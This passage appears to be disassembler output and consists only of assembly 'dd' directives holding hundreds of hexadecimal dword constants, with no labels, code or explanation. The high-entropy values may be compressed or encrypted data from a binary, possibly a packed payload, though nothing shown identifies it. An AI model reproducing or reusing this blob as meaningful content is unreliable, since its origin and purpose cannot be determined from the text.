		dd 780ED579h, 590304EDh, 9666FE40h, 4F8452A8h, 0C9142800h
		dd 717BBAE9h, 1D8D2845h, 0B490C0D1h, 2F57E65Fh,	2EB0E25Ch
		dd 0B02C2B50h, 3B420B01h, 0A3DA06F5h, 0F8DDE848h, 18691E6Ah
		dd 0F20DD283h, 0BA161C7Fh, 0E4B5386Fh, 0CC8F8DFh, 0B8364FE3h
		dd 165E7072h, 0C400EBB8h, 3B67605Eh, 0EC029FE6h, 45198FBAh
		dd 0ED0C6978h, 3C6630h,	0C27108DBh, 0F3F90433h,	2285110Fh
		dd 1590208Ah, 0E0FE3Ah,	7DBD420Fh, 1CE54112h, 798F6F00h
		dd 0EB8A804Eh, 0FD2F0BBFh, 5CC0DADEh, 0C9039001h, 7E64D21Dh
		dd 0A8F0B40Bh, 14F800A6h, 8523BD44h, 0AA495802h, 94D60020h
		dd 0A9D4B9DCh, 0EF740067h, 0C40981CEh, 0F6032AB0h, 0CD50A33Eh
		dd 26AEC81Eh, 0BD1A1245h, 0E088A1DDh, 15FAADDEh, 0A0F3CA00h
		dd 124728D7h, 0F1FC045Ch, 0B8EC9832h, 0D48F0F84h, 0F943E01Fh
		dd 2F1DA947h, 8C40A3F3h, 650717B7h, 0E0F820D8h,	0E430F7CEh
		dd 0AA21A5h, 1AC2C142h,	525367AFh, 0BFD3EB05h, 0E4801E5Ah
		dd 197632Ah, 23B808A8h,	404C2D4Fh, 325CDBD4h, 9438AC00h
		dd 5BC492DFh, 24870042h, 8E3B1CF8h, 0D600995Ah,	0EFFA3C72h
		dd 12B10F9h, 12F1CAFCh,	0D494F382h, 4D0BE2F4h, 846DEA99h
		dd 0CA83AE14h, 6F90D8FBh, 0B1841D67h, 927C41F1h, 0F47F1C85h
		dd 73016BEEh, 2BB7D30Bh, 3E9A3Ah, 58033D78h, 161F798Eh
		dd 0C0701C68h, 0F09245h, 23493569h, 1383982Fh, 82EDAA00h
		dd 746DBED2h, 0C96D4h, 0F91CC892h, 20B5F694h, 55BC9024h
		dd 64F403B4h, 0FC4DB727h, 4E3B5800h, 0E9ED3992h, 0BF0704A6h
		dd 0C09DA1C6h, 0F2405B94h, 0C0FFD0CEh, 7CEA7827h, 3D9CE26Dh
		dd 804B62C1h, 36AED948h, 0B37C8595h, 0C90044E9h, 0D322330Dh
		dd 2818C327h, 0D63145F7h, 0DB0800ADh, 0B7DDA6C9h, 0DC0F9176h
		dd 148B72DFh, 0F22A1FFDh, 70754040h, 92E03E3Ah,	34B500C8h
		dd 933C5061h, 5C90E2CCh, 0FC5B2C02h, 5CC3E1A9h,	335000C4h
		dd 0DF3469B1h, 4B529B19h, 98D51319h, 11FD5BD0h,	3C676A8h
		dd 62884255h, 830981Ch,	0CD510090h, 0D392ADB4h,	1760A154h
		dd 0D677F759h, 4439DEA5h, 9001F80Ah, 0B0CECAA0h, 0D54Eh
		dd 0A72756F3h, 10F40050h, 61B7EA60h, 21C02389h,	8B5D44BAh
		dd 8F4F0068h, 72EFEC34h, 1F5DB3B9h, 90B12558h, 83F0326Ch
		dd 0BC8CF6E0h, 0CAB94200h, 0E82136B4h, 7F220090h, 52185CA0h
		dd 0D7007443h, 2970E56Eh, 2F13A0Eh, 54DDBE0Ah, 724258A2h
		dd 88025C81h, 0A0002FE3h, 84E76ECAh, 21563BDEh,	37EC100h
		dd 0D5E8D886h, 0E2001490h, 25C33CA8h, 6847FF8h,	640ADB59h
		dd 0BF032190h, 0A1AB7D7Ah, 0EF3BA80Fh, 0BD260065h, 7B3CED8Bh
		dd 52EA0597h, 4D0EF100h, 347D995Fh, 59D50035h, 79468FDCh
		dd 9A005002h, 0C9B1CA1Ch, 5C661Eh, 58DAD4F3h, 290EAFFh
		dd 0A1526900h, 6F9AE24Bh, 0B1F404C1h, 0A2A3A607h, 58407BC4h
		dd 821700B0h, 0F36A221Fh, 74000AB4h, 0CA781DE7h, 8DF063h
		dd 0DB903CC0h, 7EA5F186h, 1A31712Ch, 0BD7D871Dh, 83609E48h
		dd 0E033B840h, 5ACC7FDDh, 5E2C8CA2h, 0F5F28F00h, 121BEEFh
		dd 69EA0EC9h, 7AE0D986h, 0C7AD40D8h, 89F8D75Ch,	0A7F48031h
		dd 9F533324h, 7099D087h, 0C8C42DA9h, 0D0E55E0h,	40B6F5A0h
		dd 3EDFB738h, 5087B511h, 40E069B4h, 9A167B95h, 68CA621Ah
		dd 0CC724511h, 0E87E08E3h
		dd 0EE1625F1h, 98C2C13h, 0B744459h, 0D1E3E1CFh,	0D3BE0CC8h
		dd 9594CB07h, 0E2643CEEh, 9CDF62C0h, 5297007Ah,	56B2251h
		dd 80B82E88h, 85769F1Eh, 0AE3C01C0h, 6AD295h, 824FC5DBh
		dd 4626D6AFh, 0F465A701h, 3252921Bh, 398ED86Ch,	18A3EE86h
		dd 630B420Fh, 60B78B4Eh, 7DF2EF4h, 71DD6E39h, 4B400C08h
		dd 68EB1528h, 1638E125h, 13DB41A0h, 38381890h, 3875CC4Dh
		dd 57171E2Ah, 0E16FF880h, 69B084h, 0EA9CD288h, 6107F056h
		dd 1F00F77Eh, 0D0AEC3DEh, 45A1C1h, 5D469805h, 64267487h
		dd 70006D7Fh, 0DF30C1Ch, 3D68E17Dh, 83BBA86Ch, 0FE731103h
		dd 13981E35h, 381C44D0h, 0C00098Dh, 0EE1D9DD7h,	11F00034h
		dd 5CC6BB37h, 7C009735h, 4DDF1ACh, 0EEFD21h, 0A91D4710h
		dd 7440A853h, 3A0937F0h, 80422A84h, 1C250E5Bh, 23D5002Fh
		dd 206AE391h, 0CC00058Eh, 22544E4Ah, 182DA70h, 6DF037CAh
		dd 0ECEA1C8Bh, 41017890h, 0CDD1C4A9h, 9C505947h, 0E45B767Eh
		dd 936006E3h, 810DBABh,	9C217460h, 7035C6Fh, 39EB0A6Dh
		dd 22EE1011h, 280909E2h, 273A43A9h, 8320797Ch, 0E30A072h
		dd 1FED3DAEh, 212CEFC6h, 3AF29300h, 7F99036Eh, 7C4090A8h
		dd 4F6312C5h, 0F1040ADh, 26E090B5h, 7335C906h, 6008B12Eh
		dd 0AD6821BAh, 3F004490h, 27658358h, 333B51EAh,	2E607018h
		dd 31AF0CE4h, 0FCE538C9h, 1CE89A0Ch, 5538E3B0h,	0D28D1CD9h
		dd 0E5CC3A1Bh, 0C0CC8C48h, 0E3755B77h, 91924821h, 60990280h
		dd 0C354465Ch, 0A555C0CBh, 581D609Eh, 0C042EFF4h, 0B100FB7Fh
		dd 0A424B089h, 3BF0AB80h, 0F5802E04h, 8F21633Fh, 0FD00E471h
		dd 6CE4858h, 43FFA9h, 406704DCh, 6B70DA7Eh, 0C225BA28h
		dd 898F4800h, 2ADDE9CAh, 3D4A00EEh, 0B4F42CACh,	4E98E36Dh
		dd 0EADA300h, 5527771Dh, 69CA00BFh, 0F6C89B4Fh,	0FF1EEAC0h
		dd 0E5C04BA2h, 7BB2A00Bh, 96C10049h, 55443937h,	0C800BB62h
		dd 858A5D28h, 0F23160h,	0C2ECFFC1h, 0E4F70F15h,	0BA910E02h
		dd 0C053E032h, 7194185Bh, 85081240h, 75FC3Dh, 4F9EBE15h
		dd 10DA6Bh, 59BA2C87h, 155856Eh, 624C310Eh, 351BE05Dh
		dd 0EE5122h, 0A8A6D3C0h, 24064395h, 610A8F00h, 30F25FEBh
		dd 0C7ECBCh, 3D3E8E86h,	6175C50h, 3BBD7503h, 9080A2FCh
		dd 0E299951h, 0F7C4EF5Eh, 0E95DB8C0h, 67581D39h, 79AE00E3h
		dd 9F97C3EAh, 7F8416B4h, 0DE060095h, 13B0693Fh,	9C007479h
		dd 0A21A5CB9h, 74EDDFFh, 7ECE6747h, 349610D2h, 4C0CA1FBh
		dd 21C605FDh, 63F700A0h, 0DE08E561h, 4B003CC1h,	0F414BF3Bh
		dd 7DD9316Bh, 0BA8B3FDAh, 0A65E6A8Eh, 113D009Eh, 0F7F6EB62h
		dd 2B00127Eh, 0A17D69D7h, 2C4C106h, 0F9E6FE34h,	0C406180h
		dd 9400E8C2h, 6BBEFBAFh, 63E5AEh, 83BA1703h, 4EE9F2D6h
		dd 0B15BA500h, 2A32052Fh, 0FB4A0063h, 8FCB53Fh,	68002CBFh
		dd 0C0EEAAAh, 64DBA3h, 0B914BB0Ah, 0BD8A77D0h, 0AB0358EAh
		dd 0F741A283h, 30800028h, 39C7325h, 5A0CEC70h, 78459A7Ah
		dd 0B89857DFh, 366271Fh, 125F319Ch, 0B3429000h,	0D28E0C62h
		dd 45F40051h, 174659A7h, 4B043B71h, 84740ECh, 267FCAC0h
		dd 93FC00C5h, 0EAA8575Bh, 52006867h, 7A419D73h,	0D749C0h
		dd 5BBD7FCFh, 0C04CC8Ch, 59257D00h, 0F12D6B17h,	6A3C007Ch
		dd 1E76DEB9h, 0ED00A562h, 90844AC2h, 4FE8556h, 3ACD5782h
		dd 0D51FBB04h, 0AF66B6C0h, 1B1E58CAh, 0F8FAD3E4h, 0F55C94F8h
		dd 7CA75100h, 3B0C0198h, 0F4745Bh, 46E3F012h, 0B8B31F0Eh
		dd 86ED7200h, 6CC4FA02h, 777370DCh, 3357BC6h, 9FCAB8E9h
		dd 580276CDh, 0E54DC28Bh, 82908021h, 8364A8h, 0DF366598h
		dd 125AF09Fh, 2CD2E000h, 50A53DE9h, 27972AF4h, 3C8F0B9Ch
		dd 0B100FF4Eh, 7038C303h, 3440948h, 1F9B1F6h, 3C1102E2h
		dd 0B0ED22F3h, 0DBB8FCA0h, 2BEEB9E5h, 0D446A05h, 0DC01F3A2h
		dd 2CE4B3C1h, 1E323987h, 62E571B7h, 0F087D479h,	805F6339h
		dd 0FBBFC03Ch, 0C7A68542h, 30ECFC90h, 0A42CA77Dh, 0B65A41C1h
		dd 13E857EFh, 0E816601Bh, 0AC60C8B2h, 5002DE0h,	0BDB59328h
		dd 7A02E9DCh, 77520ECCh, 3FE95146h, 43F282F7h, 0F098800Ch
		dd 2F5871h, 0E8C68E18h,	0EB1B63E3h, 200D3830h, 764272DBh
		dd 16C31857h, 959B7132h, 7D49E8E8h, 6FD50144h, 0D6F23C17h
		dd 8470807h, 332F55B0h,	6188B8B3h, 602B3013h, 0B79440CBh
		dd 0C8003CEFh, 0BAC92C2Fh, 814DCAh, 0B9EEBC8Fh,	71D57E2Ah
		dd 0F70782FEh, 20ADF2D4h, 0B435271h, 3DD28850h,	0B6BE0073h
		dd 287BDDD3h, 0D900A4DEh, 5D7D1410h, 0B491D6h, 5448A507h
		dd 0FB84CE5h, 0A3651201h, 5097DCB6h, 1816D4C0h,	181FC9B7h
		dd 21007366h, 58466236h, 0E043081h, 0F2D5BBA6h,	7534805Eh
		dd 635482DDh, 0DC0ADB00h, 5BB87CC3h, 0F9920037h, 3F1B5572h
		dd 43152FDDh, 288850F1h, 7B00E825h, 29DA68AFh, 380A0327h
		dd 5704D10Ch, 80842280h, 0AE154748h, 8F3A3Ch, 556A9F24h
		dd 0C616BCh, 7FDE094Bh,	4C28802Ah, 0E33FE500h, 914267FBh
		dd 0C0626099h, 6D5151Ch, 0A2B64530h, 61E874h, 55D3B1Fh
		dd 93F3C260h, 4B101E60h, 3B0DE3A3h, 3A034186h, 827A666Ch
		dd 6018E9F9h, 6D01C12Ch, 94CC844Fh, 0DE70139Eh,	89D287Dh
		dd 0CDDE81C0h, 8C48A331h, 7FB103DDh, 0DFCE04D1h, 704298Eh
		dd 0DE50F66Eh, 0E27B70D0h, 0BC8C28FFh, 0A9F800DBh, 60EA7874h
		dd 9C90F4F5h, 0CBB3771Ch, 7100F71Ch, 2AC2F122h,	3640173Fh
		dd 40991DFCh, 0D84DA5E7h, 0BEE04A47h, 7A2E1300h, 980A8A5Ch
		dd 0E357002Bh, 0E8B4258Ch, 7F034218h, 0CB149122h, 0DC96B0B8h
		dd 9B520061h, 9F87053h,	0A1F2B20Ch, 3B076E00h, 0CAB7AF71h
		dd 0F097F26Dh, 3CC00CEh, 7F332BF7h, 842C87C2h, 99006CF9h
		dd 151D51B6h, 0B3E50245h, 3D5FB89Dh, 4DA0968Eh,	7037E047h
		dd 600115F6h, 6914557Bh, 8F2088A8h, 0FB2B0F21h,	0F2C0B7A0h
		dd 7E09F0D1h, 49624406h, 2841B5Bh, 0B2828363h, 0A8870A53h
		dd 0FA8AF00Bh, 8800B54Dh, 0BCA28F8Bh, 7434C5FDh, 0DC94076Ch
		dd 0D0770A95h, 514CA637h, 23B2F824h, 0DA3A7600h, 9E2B8Eh
		dd 9495429Bh, 9788C6Ah,	3286911Dh, 55E510C0h, 807928h
		dd 201865E6h, 0E1BE484Fh, 0E8F5FD00h, 13513B0Bh, 6E2C0EEDh
		dd 7F7F38E0h, 0DBD6B200h, 0A07A757Ch, 12D29E00h, 0ED543C0Fh
		dd 0A6011D4Ch, 500A09C3h, 0CC590400h, 0E004181h, 0D17CD292h
		dd 0A19FDAh, 0CF30794Dh, 0F05637E9h, 85E67205h,	8581F58Dh
		dd 460DB7Eh, 2EFF01CFh,	0E6A7EAA4h, 1F77C45Ah, 0A121140Fh
		dd 2E9CF5D4h, 4400A67Dh, 70DD7B3Bh, 0A5F701EEh,	3578999Ch
		dd 0AE888046h, 4D3D2BACh, 67690E2h, 7D98A3B0h, 0D81B2134h
		dd 0C0B02BABh, 1D55EBC2h, 983C19Ah, 0F023B02Eh,	94E0A3C0h
		dd 71006BE2h, 0BADF2AFBh, 289A5FCEh, 62001D8h, 0CD3473AEh
		dd 0BCA3184Fh, 0E117191Eh, 9E2FC440h, 0F18831h,	3F86E2EAh
		dd 488A1CCBh, 0C43AD600h, 5A4278F4h, 5277741h, 0F9837338h
		dd 0BA37C004h, 4B383218h, 41DE00D7h, 0F161E113h, 0B7993031h
		dd 58C095A0h, 4804D72Ah, 37C38480h, 13D9E3Dh, 0C4929A5Bh
		dd 999FBEEFh, 31F5007Fh, 0C80A5A45h, 9AFC9100h,	0A9CA11ADh
		dd 990000Bh, 86021975h,	0BC036188h, 5A1A012Eh, 0F63DE849h
		dd 13FF24Bh, 0EE4FB756h, 0D0B62282h, 0CE000CF1h, 73FBB861h
		dd 59C1BDh, 0E197445Fh
		dd 3285A664h, 0FFC6BC07h, 2AE33BD1h, 0F1A40027h, 5F4F13B8h
		dd 500012A5h, 0AD8F89FFh, 8895B6h, 0D029901Ah, 5FDE8CE2h
		dd 9E003277h, 0C2B97D84h, 5CDB1778h, 1558BE1Eh,	80334F1Fh
		dd 0E72AF4A9h, 0D0241A6h, 205C2FAEh, 0B4004BCDh, 7D97C5C0h
		dd 72EB0039h, 38446B09h, 163D64D8h, 650E0007h, 0CE028BD7h
		dd 5BAC0070h, 97D289Fh,	0B0004E9h, 0DED1BF84h, 1D4446AAh
		dd 0C7F054h, 0B02B755Dh, 0B30048E4h, 21E6DAD3h,	90F9CB1h
		dd 3ECE9501h, 90A8ACA7h, 0DBA71CBAh, 0C9379200h, 0D9721894h
		dd 28B73897h, 23204B00h, 8C09F3AEh, 4B14900h, 3C751DE3h
		dd 0B4650096h, 0F79916E2h, 2438F651h, 0CC66006Fh, 5A644C34h
		dd 40EC01B9h, 5D793188h, 48006EE0h, 83A2C7E4h, 0AB0F005Ah
		dd 0BB1F4ADDh, 0CD3B7E14h, 0F9AD80B5h, 4F880784h, 0B8A8EC6Eh
		dd 54D3404Ch, 17DF5800h, 308ADEFh, 5EEA639Dh, 69803E3Dh
		dd 1094A33h, 80E22C54h,	93DDAF44h, 3CB40141h, 1B8A20C2h
		dd 328C60ADh, 0AB6FD000h, 8655E3EEh, 1CE000AEh,	2A69BC4Fh
		dd 71007868h, 54B68598h, 115B8Ah, 3164F5AFh, 0A06AD2D0h
		dd 0DD1D8377h, 5804A39h, 0B46FA774h, 7DE420h, 25CA8B54h
		dd 2A681E8Dh, 672C1906h, 40E630h, 0C80743A0h, 9CBDD46Ah
		dd 3500F6F6h, 0CC928C2Bh, 859AF9h, 0F1FA7112h, 8F650BFCh
		dd 0FEC69D00h, 0C2DD281Ah, 57B60127h, 0DEE1B35Ch, 1796D4D8h
		dd 0FCCD7403h, 0B802A525h, 0FD0EF50h, 70350DF0h, 0E38D2140h
		dd 0C4007E42h, 8FB8A48Eh, 0EE4941E2h, 10820061h, 0C02B9DC3h
		dd 0B0004EDFh, 3C67382Dh, 38997F15h, 51802240h,	0F9E9C8CFh
		dd 47006B28h, 8C70BAA5h, 0CAB6E5Ah, 25C77697h, 0C10B5238h
		dd 80BC8DB2h, 700DAAB2h, 1EEC00BFh, 95DEB8D7h, 26009C31h
		dd 0C5E230FBh, 0BB2C44h, 1FDAD7Eh, 1EA5A168h, 433A4100h
		dd 8110BC25h, 984A0E0Eh, 0B2C07B66h, 0C62109B8h, 0CA1DE000h
		dd 799567FEh, 0FCE90AD0h, 0ABCDE7Eh, 80E4A038h,	7A905486h
		dd 7C00C920h, 7B7813DCh, 0D11BABh, 836214D3h, 24D64CECh
		dd 73D65EAh, 4E611878h,	682870h, 0A2D392B0h, 499E54EBh
		dd 1E5FA14Ch, 34803211h, 21B1C42Eh, 926A7C29h, 23A30014h
		dd 0E5A94476h, 0F226B30Bh, 6D0043C0h, 0ACDFB98Eh, 1317064Dh
		dd 0A80EF3D2h, 0D9394003h, 0BE82C6h, 0D10A678h,	0E1EFBCD7h
		dd 94491A00h, 0C39D515Ah, 0FE5300F2h, 0C711E6D3h, 670086A1h
		dd 0A32609CAh, 18EE480h, 0E804CB48h, 0F675FBE5h, 2B16CC80h
		dd 896314BDh, 90CBDEEEh, 6C50D53h, 0D6689554h, 0AB0E71C2h
		dd 4052B124h, 8B58439Ah, 0BAF63726h, 32037098h,	21ED340Dh
		dd 120FE598h, 7A7E40C1h, 0A3091B0h, 0BC88E5A5h,	0C0FAEC9Fh
		dd 6552FC30h, 20F1FD5Fh, 9003D370h, 805493ADh, 2D2EB8F3h
		dd 0AA3507DCh, 2F21FAD7h, 5605FEA3h, 0D09922A3h, 663CD86Eh
		dd 628C1200h, 3F5C7D68h, 4B0A0569h, 85F388DAh, 9BE80D3h
		dd 700F908Fh, 2F7E79h, 32F6315Eh, 0CE8D0ED4h, 0BFA0F3CBh
		dd 0E2092A0Ch, 0FA459401h, 714CBE97h, 0CD9CD8h,	52A37233h
		dd 58B68323h, 8267E43Fh, 1CD244E1h, 75D848B4h, 0CB9D15EEh
		dd 0CA07A0C4h, 41E0C343h, 0F45E1BB3h, 0F500EB61h, 9ADD4DBh
		dd 20F133Ah, 73D77407h,	0DFC02226h, 0C000DCAEh,	0D40806ABh
		dd 2F0BAA9h, 0AF8F62A1h, 5EC063E8h, 0D300762Ch,	0C9BF12E2h
		dd 1352FBh, 6183B457h, 3DCCEC93h, 224C3B01h, 0C4BE14BAh
		dd 0FB176187h, 549B0229h, 0C61BF3E0h, 0DF4C3C92h, 73057C40h
		dd 0D1388BA2h, 8859F440h, 6030E956h, 1E0F10BCh,	0B2006F2Dh
		dd 0F24DA375h, 7730B91h, 0BA2516ADh, 8B38D057h,	30C07ECBh
		dd 8581BD23h, 18057C6Ah, 187FF1A5h, 0C8125818h,	1C4728D7h
		dd 0A01F3609h, 92A1B268h, 0BDB0026Fh, 24F19099h, 5DD05C43h
		dd 99C0F742h, 0F2FDBE83h, 3159010h, 8B769141h, 60B81BECh
		dd 0C938696Ah, 0EE2877Dh, 8E80612Eh, 4C4A9A35h,	40313758h
		dd 70431321h, 80F0D13h,	5BE21h,	0BAB196C4h, 5ECF00D7h
		dd 664F6555h, 0F598E68Eh, 6E3D04F0h, 0B5DC07BFh, 3DE02D15h
		dd 4ED0192Bh, 0CD2C00DFh, 3140AB91h, 6B37FD00h,	75627398h
		dd 0DBAE003Ah, 0F604565Dh, 2712AB45h, 501DCEC3h, 0A47A60C1h
		dd 93001F3h, 6009002h, 59549D86h, 740EB1ADh, 94673BC3h
		dd 0EDF400E8h, 6D3D470Ch, 2B7624h, 66634FE8h, 72225CB4h
		dd 7900EEE6h, 0D08B11D9h, 3F140Eh, 0DF05714Dh, 0CBAA1337h
		dd 59647300h, 0D6A81CEBh, 874A004Ch, 0E00231C6h, 0C30062CCh
		dd 7882962Ch, 591AD2h, 976D1849h, 247723CDh, 507FB473h
		dd 4A639F00h, 6DB23CD8h, 35A400FEh, 25B89064h, 10777DA2h
		dd 0F0A76800h, 0F19477BAh, 35801C28h, 731403FFh, 0DBE8DE98h
		dd 8813759Bh, 280170FBh, 6D9E69B5h, 0AC2494EDh,	93333ABAh
		dd 0B88C5318h, 1207DC60h, 0B6E208C5h, 7C28CB90h, 7F130731h
		dd 0C4C926h, 48EDA001h,	964FE0A0h, 7D0F6D07h, 6F011DFh
		dd 16F12F49h, 799D9EFh,	601C98BCh, 36AD1D4Ch, 325E5560h
		dd 900BCFA9h, 0D5133C58h, 693BA13Eh, 60A84D37h,	959973C6h
		dd 0F2003CF0h, 0E83F1577h, 3101ACh, 6DF01B1Fh, 2D5433FAh
		dd 1A48AEF4h, 0D4E77716h, 0EF009DA0h, 0F03DCE03h, 7A239C74h
		dd 0D606034Dh, 0C1A8698Dh, 77E86580h, 0EA45D20Ch, 50076079h
		dd 0E4A040D3h, 77729Eh,	6CFB2493h, 0DE165D19h, 63B98700h
		dd 0D4067EC8h, 0EC58A34Ch, 0F23F0500h, 0E9E81CEDh, 9F0D9100h
		dd 62FFB68Eh, 0A4660788h, 90175DB7h, 0C119825h,	0BE65641Dh
		dd 14864D40h, 18F42h, 0E4FCCE8Bh, 0D0A0EC16h, 0C8077D79h
		dd 41D683FFh, 0CD7592D0h, 7A381CFDh, 0EC814015h, 2296E92Ch
		dd 0D5B88200h, 5DF812D2h, 95EE01B0h, 0F439A180h, 0BE96E088h
		dd 22EFAB00h, 0D5B45B97h, 625501C0h, 479ACBDDh,	910BE47Ah
		dd 8FABD01Fh, 0ED0046AEh, 0CA10EC25h, 0A6950064h, 0B5F68C9Dh
		dd 0CC395DA0h, 0D93180D1h, 0D7443A10h, 0BB830114h, 2AB8D246h
		dd 821FF0AFh, 0F0C14501h, 0A9EDE7DDh, 0F91A20h,	0F31BAAE2h
		dd 0EA93E47Bh, 24212C4Ch, 0AF871CA2h, 87D0954Dh, 1B25637h
		dd 5EF2A189h, 2094798Eh, 430F4522h, 21842213h, 0CBD5982Dh
		dd 0CA401361h, 783B3E69h, 8DD30733h, 9FD04DEBh,	0FE3FED00h
		dd 5FE8C710h, 27660F7Bh, 213808h, 4CFE370Eh, 853D585h
		dd 0BC421B00h, 1CA51E5h, 0E2CF368Eh, 61C85160h,	0FE36C278h
		dd 483723E1h, 0B883530h, 0ADFE002Eh, 94AA1613h,	5C1C7CC7h
		dd 0A540E226h, 0A39519C8h, 9010C022h, 3DD80233h, 5E6087E9h
		dd 0A98D6Ch, 0BBE4F423h, 3608CC4Fh, 741F8121h, 86C0F98Dh
		dd 0BEA5C038h, 7209010Fh, 0CC751A05h, 0C869B339h, 0C018600Bh
		dd 0E37BE19h, 93C610C7h, 46139FB1h, 0CFECE8h, 78CB2C41h
		dd 0EAD0A5DEh, 8024C33Ch, 0BD18CDF8h, 0FE39E6B5h, 93350158h
		dd 9770B2C5h, 0B71EC828h, 0C3454400h, 2F82A633h, 9B043C35h
		dd 6CD39500h, 8B9F377Fh, 93B45001h, 9B563FEh, 898EFCh
		dd 0C06EACC4h, 33D3EAF2h, 0A6203E00h, 7390011Ch, 0C95E01D4h
		dd 0FB8FA35Bh, 59EFE428h, 0CE0BF500h, 35C6C4C0h, 0B29702B0h
		dd 8162E96Fh, 0F07D5560h, 0E1BCFA00h, 0DE3BC0C8h, 98A20040h
		dd 0E591A310h, 0FB0006E6h, 5044204Ah, 28E5F97h,	2CB01B95h
		dd 65607FB1h, 4A00C6A8h, 0FF10EFB5h, 72F464h, 0B75E6586h
		dd 0B1A03AC8h, 0FC128E00h
		dd 0B0924A05h, 0C31B0016h, 0CF7161C6h, 3F038BFBh, 7CC16745h
		dd 0E669A065h, 0B18E0033h, 52023D81h, 130096B8h, 596576DDh
		dd 3B61453Ah, 3E00C6D6h, 0ABAA2B6Bh, 9C0AC96Eh,	94B15233h
		dd 505F5D00h, 375E7Eh, 8B92162Ah, 0E62EB3BBh, 0A5ECD700h
		dd 9C8C3C48h, 62690008h, 0F50C15B4h, 0BD005EEDh, 0F38525A7h
		dd 18E6359h, 0BBEF4C3Dh, 9FE7BCF0h, 0AED21860h,	4440831Eh
		dd 0D28B2F62h, 27713Eh,	5BFEE3F3h, 0ACCD9D2Ah, 469BE200h
		dd 9E73BC26h, 17D70E7Eh, 87C01E40h, 728B1AD1h, 0BB7DFD00h
		dd 0F7A6CF47h, 69A7003Ah, 523E8824h, 1A1D757Ah,	93005B57h
		dd 0A25094D0h, 3B432820h, 81911EA4h, 5463C0C2h,	0B7642856h
		dd 1E39D900h, 0DDFDE7D8h, 10A10098h, 0FEFF6F6Ah, 31003808h
		dd 0B9E8C89Dh, 1890B059h, 284A4006h, 287B13CBh,	0BF37D93Eh
		dd 0C97F8043h, 152C02BFh, 74610091h, 0F89524DDh, 7003C71h
		dd 6D9B8D27h, 1916DEh, 7960B9A1h, 0D687FCAFh, 2E9F505h
		dd 0D8001E5Dh, 3BB4EF0Eh, 51A4A825h, 2A9E0085h,	49C68F13h
		dd 0C900A87Bh, 69C8EAD9h, 380ECDA0h, 3A8FDB3Bh,	36C076A4h
		dd 0F3BD9ED2h, 67FED500h, 648F73F5h, 89C200CDh,	6F78E082h
		dd 42E2B207h, 0E85AD803h, 90E6DB4Ch, 3108E14Bh,	0E010C51Eh
		dd 4FA04066h, 0AF01E4D3h, 0F985712Eh, 5BE946A0h, 9C2100C7h
		dd 57108447h, 0A1002CD0h, 5F6950C9h, 0D67E5Ah, 0C06F61CFh
		dd 0CEB2DBE7h, 72A50F00h, 263B4264h, 0B0BA3D13h, 0FAA10403h
		dd 3AA124C8h, 9847C42Bh, 0C0C12600h, 0A2D039EDh, 0BE2A00A3h
		dd 44E42D9h, 0DE00E187h, 0C8246F81h, 1407F2E0h,	0A4FD3446h
		dd 4525D500h, 5C79AD21h, 0CB9FE500h, 0B14FB20Bh, 4BC7B19h
		dd 459CC0B5h, 5B8890E6h, 880E7F94h, 80B0DB11h, 4FBC2210h
		dd 5A7C1Ch, 4E472E9h, 46E8E1F3h, 2A3BB314h, 0F83E2794h
		dd 0F5200056h, 5EC5848h, 0D7008AA1h, 0C3F8FB3Fh, 5A765F3Ah
		dd 8546C064h, 1D000B7Fh, 0A463DE97h, 1652052Eh,	1E27C0B4h
		dd 0E7D5C046h, 4C3855FCh, 0AFBBD01h, 0B7496C41h, 607959E0h
		dd 6E72313Dh, 6B00E6A1h, 0B2D35341h, 1E6A2C2Bh,	925552A5h
		dd 0D978405Fh, 180375F2h, 0C100E870h, 0A563DC1Ah, 1DB2462h
		dd 0D7D4DE77h, 0E0CE39BFh, 6C2A6D47h, 59008CD8h, 7C4FC355h
		dd 774BCA07h, 0ACE349B7h, 0C58A7100h, 66466333h, 0E120700h
		dd 8C695C41h, 0AB5079Ah, 1708362Bh, 48A8E1FDh, 0AAC0EFD9h
		dd 227DAD66h, 49877300h, 0C7B09F89h, 25A20115h,	0FF6D647Eh
		dd 0EDD1F479h, 4EDD38h,	0B4EE91DBh, 9255A5FBh, 8FB91D28h
		dd 2C07039Eh, 881C32F3h, 21CCA550h, 1C99B0h, 6C687259h
		dd 420FDB2Ah, 0DED7AB0Fh, 0E777626Eh, 0D5706078h, 0A2D200F2h
		dd 3725C783h, 0A7070D0Bh, 686BC873h, 0AA6FFE90h, 0BD75CDh
		dd 7EB6EB87h, 343B3337h, 0F30B1B02h, 604D5614h,	12FDED10h
		dd 4A103A26h, 399CBD2Ch, 0A452388Eh, 97AA6AC7h,	0A732806Bh
		dd 333D2AC8h, 0B5DC8FA3h, 0D4D48Eh, 8FBE8AFFh, 0C1CC4Ch
		dd 7885A8D2h, 407256F2h, 8E6BD307h, 455E6E7Dh, 0A400872Bh
		dd 989E8A1Ah, 0C18F0006h, 0A6929A24h, 2900C0C5h, 0F9CB9CBAh
		dd 0EB070Eh, 0A91BB894h, 0C2A170B6h, 77F4DA04h,	31804F24h
		dd 3E76596Bh, 638085EAh, 2708E5D3h, 0E8FB1062h,	0D6507583h
		dd 0EC0B15F4h, 0D7F4DCh, 0A3428D51h, 0F996003Bh, 4A7D7956h
		dd 0DD00AB8Fh, 0E3D8B973h, 4307EEh, 23A8C02Bh, 0C161A47Dh
		dd 1702248h, 537F633Eh,	9D60C75Bh, 894D0037h, 724E01ADh
		dd 22009933h, 7C384C0h,	0BB98F9h, 750CE245h, 15542AF1h
		dd 81B0A313h, 900C41Eh,	2BC0DD3Eh, 0A7FC48E2h, 0C079D285h
		dd 7B09E693h, 6B6DAE00h, 0A756DF54h, 38E5F0E9h,	0FA005B45h
		dd 111D0301h, 0FF00B740h, 62F0EBDAh, 3F39D1E5h,	4880810Ch
		dd 59B86468h, 0C190D45Ah, 0CA0041E0h, 5FAF334Ah, 714B909Bh
		dd 18E874h, 2BDEF30Eh, 0EC8858B1h, 0BA3B48C0h, 29868D4h
		dd 86F1F882h, 1840A6DBh, 0CB04DE7h, 229AA200h, 0D2E597BDh
		dd 2D0E0055h, 0B6592EA9h, 3138C330h, 2A7ABF06h,	5600DC4Eh
		dd 0A4B5E765h, 0FBC127h, 3C60EBECh, 669CDE55h, 6063E833h
		dd 0CB84F0B1h, 0C47B002Ah, 0F582C544h, 0E63E0C4Eh, 145C4970h
		dd 1C180466h, 8D47EBEFh, 5B57D3DEh, 0D5668543h,	0ADF91005h
		dd 0B5601C00h, 744E1C82h, 51100095h, 78055EF3h,	0F90016CAh
		dd 0F1864537h, 6DE9377h, 8E89BF65h, 0D17448C3h,	6326EB00h
